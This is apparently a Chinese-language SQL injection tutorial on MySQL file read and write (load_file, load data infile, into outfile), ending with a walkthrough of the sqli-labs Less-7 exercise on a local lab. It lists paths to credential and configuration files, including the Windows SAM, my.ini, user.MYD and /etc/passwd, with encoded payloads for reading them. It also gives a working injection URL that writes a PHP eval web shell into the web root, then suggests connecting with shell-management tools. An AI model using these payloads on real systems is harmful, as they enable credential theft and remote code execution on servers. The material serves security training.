导入和导出
load_file()导出文件
load_file(file_name): 读取文件并返回该文件的内容作为一个字符串
使用条件:
-
必须有权限并且文件必须完全可读
and (select count(*) from mysql.user)>0/\*
如果返回正常,说明有读写权限
and (select count(*) from mysql.user)>0/\*
如果返回错误,管理员给数据库账户降权了 -
要读取的文件必须在服务器上
-
必须指定文件的完整路径
-
要读取的文件必须小于max_allowed_packet
如果文件不存在,或因为上面的任一原因而不能读出,函数返回空.. 比较难满足的就是权限,在windows下,ntfs设置得当,是不能读取相关的文件的,只当遇到只有administrators才能访问的文件,users是load_file不出来的.
实际注入中:
绝对物理路径
构造有效的畸形语句(报错爆出绝对路径)
在很多php程序中,当提交一个错误的Query,如果display_errors=on 程序就会暴露web目录的绝对路径,只要知道路径就好
常用路径:
WINDOWS下:
c:/boot.ini //查看系统版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
LUNIX/UNIX 下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
示例:
select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92, 114,101,112,97,105,114,92,115,97,109))))
利用hex()将文件内容导出来,尤其是smb文件时
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
其中的char()就是"c:/boot.ini"的ascii码
-1 union select 1,1,1,loadfile(0x633a2f626f6f742e696e6
Explain:“c:/boot.ini”的 16 进制是“0x633a2f626f6f742e696e6
-1 union select 1,1,1,load_file(c:\\boot.in
Explain:路径里的/用 \\ 代替
文件导入到数据库
load data infile
语句用于高速地从一个文本文件中读取行, 并装入一个表中. 文件名称必须为一个文字字符串.
在注入的过程中, 我们需要一些特殊的文件, 比如配置文件, 密码文件. 需要数据库权限的时候, 可以将系统文件利用load data infile
导入到数据库中.
示例:
load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'
将/tmp/t0.txt导入到t0表中, character set gbk 是字符集设置为gbk , fields terminated by 是每一项数据之间的分隔符, lines terminated by 是行的结尾符.
当错误代码为2的时候,文件不存在, 错误代码为13的时候是没有权限的, 可以考虑/tmp等文件夹(load xml 是否可以用来做注入还需要验证)
导入到文件
select ... into outfile 'file_name'
可以把被选择的行写入到一个文件中, 该文件被创建到服务器主机上, 因此必须拥有权限才能完成词语发. file_name 不能是一个已经存在的文件.
一般有两种利用形式
-
直接将select 内容导入到文件中
select version() into outfile "/var/www/html/test.php"
可以将verison()换成想要的一句话木马
<?php @eval($_post['cmd'])?>
除了一句话木马还有很多东西 -
修改文件结尾:
select version() into outfile "/var/wwww/html/test.php" LINES TERMINATED BY 0x16进制文件
通常是用'\r\n'结尾, 此处我们修改为自己想要的任何文件. 同时利用FIELDSTERMINATED BY 16进制可以为一句话或者任何其他代码, sqlmap 采取的就是这样的方式, 参考文章
os-shell 限制条件: 1. 网站必须是root权限 2. 攻击者知道网站的绝对路径 3. GPC为off ,PHP主动转义功能关闭
注意点
-
可能在文件路径当中要注意转义, 要看具体的环境
-
load_file()当前台无法导出数据的时候, 我们可以利用下面的语句
select load_file('c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini') into outfile 'c:\\wamp\\www\\test.php'
可以利用该语句将服务器当中的内容导入到web服务器下的目录, 这样就可以得到数据. 上述my.ini当中存在password项(默认被注释), 当然会有很多内容可以被导出来
Less-7
利用文件导入的方式进行注入, 查看源码判断注入点.
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1"; // '))闭合
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#FFFF00">';
echo 'You are in.... Use outfile......';
echo "<br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
echo 'You have an error in your SQL syntax';
//print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
<http://127.0.0.1/Less-7/index.php?id=1%27))%20union%20select%201,2,3%20into%20outfile%20%22/var/www/html/test.txt%22%20%23>
通过这个进行写入, 在进行操作的时候要确认好, 该目录下是否有写入权限, 一般情况下/tmp是可以写入的, 权限比较大, 为了本地可以演示成功, 这里直接赋予相应目录下全部权限
root@0f6ef9cf6a68:/var/www# ls -al
total 20
drwxr-xr-x 1 root root 4096 Dec 16 2015 .
drwxr-xr-x 1 root root 4096 Dec 16 2015 ..
drwxrwxrwx 1 root root 4096 Jan 23 13:00 html // chmod 777 html
http://127.0.0.1/test.txt
//目录访问成功
1 Dumb Dumb
1 2 3
接下来直接导入一句话木马
http://127.0.0.1/Less-7/index.php?id=1%27))%20union%20select%201,2,%27%3C?php%20@eval($_POST[%22cmd%22])?%3E%27%20into%20outfile%20%22/var/www/html/test.php%22%20%23
这里的一句话要用''里面, ""似乎不行,不知道为什么
写入成功
root@0f6ef9cf6a68:/var/www/html# more test.php
1 Dumb Dumb
1 2 <?php @eval($_POST["cmd"])?>
页面访问
<http://127.0.0.1/test.php>
1 Dumb Dumb 1 2
访问成功.
接下来用shell链接工具链接就好了cknife 菜刀 甚至自己写python脚本都可以
网友评论